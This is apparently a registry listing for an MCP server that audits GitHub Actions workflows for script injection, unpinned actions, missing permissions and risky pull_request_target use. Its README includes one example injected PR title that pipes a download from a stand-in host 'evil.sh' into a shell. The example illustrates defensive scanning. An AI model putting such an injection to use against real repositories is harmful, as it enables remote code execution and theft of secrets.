GitHub Actions Security Audit
Audit GitHub Actions workflows for script injection, unpinned actions and missing permissions.
Install
Add this to your client's MCP configuration (Claude Desktop: claude_desktop_config.json; Cursor: .cursor/mcp.json; VS Code and others use the same "mcpServers" shape).
claude mcp add --transport http github-actions-security-audit 'https://github-actions-audit-mcp.mcpize.run/mcp'{
"mcpServers": {
"github-actions-security-audit": {
"type": "http",
"url": "https://github-actions-audit-mcp.mcpize.run/mcp"
}
}
}Documentation
From the project's README on GitHub, refreshed weekly. Links open on GitHub.
github-actions-audit-mcp
An MCP server that audits GitHub Actions workflow YAML for the real vulnerability classes that have caused actual incidents — not a linter, a security scanner. Parses genuine YAML structure (a hand-written block parser scoped to what workflow files actually use), not string/regex matching against the raw file.
What it catches
Script injection. Any ${{ github.event.issue.title }}-style expression that carries attacker-controlled text
(issue/PR titles, comments, review bodies, branch names) interpolated directly into a run: shell step. The
expression is substituted into the generated shell script before the shell runs it — a PR titled "; curl evil.sh
| sh # becomes literal shell syntax, not a string. This is the single most common real-world GitHub Actions
vulnerability. Flags the exact expression and shows the env-variable fix that actually neutralizes it.
Unpinned third-party actions. uses: some-action@v4 or @main can be repointed by whoever controls that
tag/branch, without you changing a single character in your workflow file — this is exactly what happened in the
tj-actions/changed-files compromise (March 2025), where a maintainer's
PAT was used to retag v35–v46 to point at a credential-harvesting commit. Only a full 40-character commit SHA is
immutable.
Missing permissions: blocks. No explicit permissions: means the GITHUB_TOKEN defaults to whatever your
repo/org settings allow — often read-write. If any step is ever compromised, it inherits that full scope.
pull_request_target + head checkout. This trigger runs with the base repo's secrets and a write-scoped token
(unlike plain pull_request), and if the workflow also checks out the PR's own head commit, a fork's PR can run
arbitrary code with your secrets. Real supply-chain incidents follow this exact pattern.
Tools
audit_workflow
Full audit of a workflow YAML file. Returns a risk level and every finding with its exact location, why it's dangerous, and a concrete fix.
check_expression_injection
Focused check on a single shell command string, for when you just want to sanity-check one run: step without a
full workflow file.
Use it
Hosted (recommended): MCPize — free tier, $7/mo Pro.
Self-host:
npm install
node server.jsPart of a small suite
regex-safety-audit-mcp, mcp-trust-audit-mcp, secrets-leak-audit-mcp, dockerfile-audit-mcp.
License
MIT
Frequently asked questions
What is GitHub Actions Security Audit?
Audit GitHub Actions workflows for script injection, unpinned actions and missing permissions.
How do I install GitHub Actions Security Audit?
It runs as a remote server. In Claude Code: claude mcp add --transport http github-actions-security-audit 'https://github-actions-audit-mcp.mcpize.run/mcp'. For other clients, paste the JSON configuration from this page into their MCP settings.
Does GitHub Actions Security Audit need an API key?
Its registry entry lists no required key or secret. Some features may still need an account with the service it connects to.
Is GitHub Actions Security Audit open source?
Yes. Its code is on GitHub under the MIT license.
Who maintains GitHub Actions Security Audit?
It is published by tylerscomic-lab. AI.tn lists it but does not maintain or endorse it.
From the official MCP Registry. Listing is not an endorsement: review a server's code and permissions before giving it access to your data.